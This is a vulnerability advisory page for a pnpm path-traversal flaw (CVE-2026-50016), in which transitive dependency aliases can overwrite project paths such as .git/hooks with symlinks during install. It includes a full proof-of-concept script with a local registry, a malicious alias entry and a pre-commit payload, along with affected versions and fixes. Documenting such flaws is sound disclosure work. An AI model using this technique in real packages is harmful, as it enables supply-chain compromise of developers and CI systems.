CVE-2026-50016 — pnpm
HIGHCVE-2026-50016 is a high-severity (CVSS 8.8) CWE-23 vulnerability in pnpm. A fix is available for pnpm — see the affected versions and patch details below.
pnpm: Transitive dependency alias path traversal allows project path override via symlink replacement
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-50016.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-50016 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 379,842 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
pnpmnpmDescription
Summary
pnpm allows a transitive dependency alias from registry package metadata to contain path traversal segments. During install, pnpm later uses that alias as a filesystem path when linking dependency nodes. As a result, a registry package can cause pnpm install - ignore-scripts to replace paths in the current project with symlinks to attacker-controlled dependency package directories.
.git/hooks is only one useful target. The same primitive can replace other project-local paths that are consumed by later tools, for example:
.huskyor.githooksfor Git hook dispatchersscripts/,tools/,bin/, ortests/for project scripts and CI commands.github/actions/<name>for local GitHub Actions used later in the workflowdist/or other publish/build output directories beforepnpm packorpnpm publishnode_modules/.binor undeclarednode_modules/<name>paths used by later command or module resolution
Targets that are regular files can also be replaced with symlinks to a package directory, but those cases are usually denial of service. Directory targets are more useful because many developer tools execute or load files from those directories after installation.
This was reproduced with [email protected].
Impact
Users often run pnpm install --ignore-scripts expecting that untrusted package code cannot execute during installation. This issue bypasses that expectation: the malicious package does not need a lifecycle script. Instead, it silently rewires project files or directories during install, and the payload runs when the user or CI later executes another normal command.
Examples include git commit, pnpm test, pnpm run build, a CI step that uses a local GitHub Action, or pnpm publish packaging a replaced dist/ directory. In this PoC, the victim installs a normal registry package, the transitive malicious package replaces .git/hooks, and the payload runs when the victim later executes git commit.
Root Cause
pnpm preserves dependency alias names from package metadata and later passes those aliases into dependency linking as path components. The alias is joined with the destination node_modules directory and passed to the symlink creation logic without rejecting .. segments or checking that the normalized result stays inside the intended node_modules directory.
Conceptually, a transitive alias like this:
{
"@x/../../../../../.git/hooks": "npm:[email protected]"
}
is eventually treated like:
path.join(parentPackageNodeModulesDir, "@x/../../../../../.git/hooks")
The normalized destination escapes the dependency's node_modules directory and lands at the victim project's .git/hooks path. pnpm then creates a symlink at that escaped destination to the resolved payload-hooks package directory.
The dependency chain is:
victim installs [email protected]
[email protected] -> [email protected]
[email protected] -> [email protected] through a traversal alias
The malicious transitive package metadata contains:
{
"@x/../../../../../.git/hooks": "npm:[email protected]"
}
Because this uses an npm: registry alias, it does not rely on a transitive file: or link: dependency.
Proof Of Concept
Run:
./run.sh
#!/bin/sh
set -eu
SCRIPT_DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
WORKDIR="$SCRIPT_DIR/demo-workdir"
REGISTRY_DIR="$WORKDIR/registry"
TARBALLS_DIR="$REGISTRY_DIR/tarballs"
VICTIM_DIR="$WORKDIR/victim"
READY_FILE="$WORKDIR/registry-ready"
PORT_FILE="$WORKDIR/registry-port"
rm -rf "$WORKDIR"
mkdir -p "$REGISTRY_DIR/payload-hooks" "$REGISTRY_DIR/bad" "$REGISTRY_DIR/normal" "$TARBALLS_DIR" "$VICTIM_DIR"
cat > "$REGISTRY_DIR/payload-hooks/package.json" <<'JSON'
{
"name": "payload-hooks",
"version": "1.0.0",
"bin": {
"pre-commit": "pre-commit"
},
"files": [
"pre-commit"
]
}
JSON
cat > "$REGISTRY_DIR/payload-hooks/pre-commit" <<'EOF'
#!/bin/sh
echo PWNED >&2
exit 0
EOF
chmod +x "$REGISTRY_DIR/payload-hooks/pre-commit"
cat > "$REGISTRY_DIR/bad/package.json" <<'JSON'
{
"name": "bad",
"version": "1.0.0",
"description": "transitive registry package",
"dependencies": {
"@x/../../../../../.git/hooks": "npm:[email protected]"
}
}
JSON
cat > "$REGISTRY_DIR/normal/package.json" <<'JSON'
{
"name": "normal",
"version": "1.0.0",
"description": "normal looking package from a registry",
"dependencies": {
"bad": "1.0.0"
}
}
JSON
(cd "$REGISTRY_DIR/payload-hooks" && npm pack --pack-destination "$TARBALLS_DIR" --silent >/dev/null)
(cd "$REGISTRY_DIR/bad" && npm pack --pack-destination "$TARBALLS_DIR" --silent >/dev/null)
(cd "$REGISTRY_DIR/normal" && npm pack --pack-destination "$TARBALLS_DIR" --silent >/dev/null)
node - "$REGISTRY_DIR" "$READY_FILE" "$PORT_FILE" <<'NODE' &
const http = require('node:http')
const fs = require('node:fs')
const path = require('node:path')
const { execFileSync } = require('node:child_process')
const [registryDir, readyFile, portFile] = process.argv.slice(2)
const tarballsDir = path.join(registryDir, 'tarballs')
function shasum (filename) {
return execFileSync('openssl', ['dgst', '-sha1', path.join(tarballsDir, filename)])
.toString()
.trim()
.split(/\s+/)
.pop()
}
function integrity (filename) {
return 'sha512-' + execFileSync('openssl', ['dgst', '-sha512', '-binary', path.join(tarballsDir, filename)])
.toString('base64')
}
function packument (pkgName, req) {
const filename = `${pkgName}-1.0.0.tgz`
const manifest = JSON.parse(fs.readFileSync(path.join(registryDir, pkgName, 'package.json'), 'utf8'))
const origin = `http://${req.headers.host}`
return {
name: pkgName,
'dist-tags': {
latest: '1.0.0',
},
versions: {
'1.0.0': {
...manifest,
dist: {
tarball: `${origin}/${pkgName}/-/${filename}`,
shasum: shasum(filename),
integrity: integrity(filename),
},
},
},
}
}
const server = http.createServer((req, res) => {
const pathname = new URL(req.url, 'http://local.invalid').pathname
if (req.method !== 'GET') {
res.writeHead(405)
res.end('method not allowed')
return
}
if (pathname === '/normal' || pathname === '/bad' || pathname === '/payload-hooks') {
const pkgName = pathname.slice(1)
res.writeHead(200, { 'content-type': 'application/json' })
res.end(JSON.stringify(packument(pkgName, req)))
return
}
const tarballMatch = pathname.match(/^\/(normal|bad|payload-hooks)\/-\/(.+\.tgz)$/)
if (tarballMatch) {
const file = path.join(tarballsDir, tarballMatch[2])
res.writeHead(200, { 'content-type': 'application/octet-stream' })
fs.createReadStream(file).pipe(res)
return
}
res.writeHead(404)
res.end('not found')
})
server.listen(0, '127.0.0.1', () => {
fs.writeFileSync(portFile, String(server.address().port))
fs.writeFileSync(readyFile, 'ready')
})
NODE
REGISTRY_PID=$!
trap 'kill "$REGISTRY_PID" 2>/dev/null || true' EXIT INT TERM
WAIT_COUNT=0
while [ ! -f "$READY_FILE" ]; do
WAIT_COUNT=$((WAIT_COUNT + 1))
if [ "$WAIT_COUNT" -gt 100 ]; then
echo "local registry did not start" >&2
exit 1
fi
sleep 0.05
done
REGISTRY_PORT=$(cat "$PORT_FILE")
cd "$VICTIM_DIR"
git init -q
git config user.email [email protected]
git config user.name "Demo User"
cat > package.json <<'JSON'
{
"name": "victim",
"version": "1.0.0"
}
JSON
cat > .npmrc <<EOF
registry=http://127.0.0.1:$REGISTRY_PORT/
EOF
printf 'pnpm: '
pnpm --version
printf 'registry: http://127.0.0.1:%s/\n' "$REGISTRY_PORT"
printf 'victim: %s\n\n' "$VICTIM_DIR"
pnpm install [email protected] --ignore-scripts --config.confirmModulesPurge=false --reporter=silent
echo 'trigger commit' > change.txt
git add change.txt
set +e
COMMIT_STDERR=$(git commit -m 'trigger pre-commit' 2>&1 >/dev/null)
COMMIT_STATUS=$?
set -e
printf '\ngit commit exit code: %s\n' "$COMMIT_STATUS"
printf 'git commit stderr:\n%s\n' "$COMMIT_STDERR"
The script starts a local npm-compatible registry, writes a victim project .npmrc that points to that registry, installs [email protected] with --ignore-scripts, and then triggers git commit.
Requirements:
pnpm
npm
node
git
openssl
Expected output:
git commit exit code: 0
git commit stderr:
PWNED
PWNED is printed by the attacker-controlled pre-commit hook from the payload-hooks package.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | pnpm | all versions | 10.34.0npm install pnpm@10.34.0 |
| 📦npm | pnpm | ≥ 11.0.0&&< 11.4.0 | 11.4.0npm install pnpm@11.4.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pnpm, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update pnpm to 10.34.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-50016 is resolved across your whole dependency graph.
Workarounds
Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-50016 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-50016. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-50016 in your dependencies?
O3 Security finds CVE-2026-50016 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.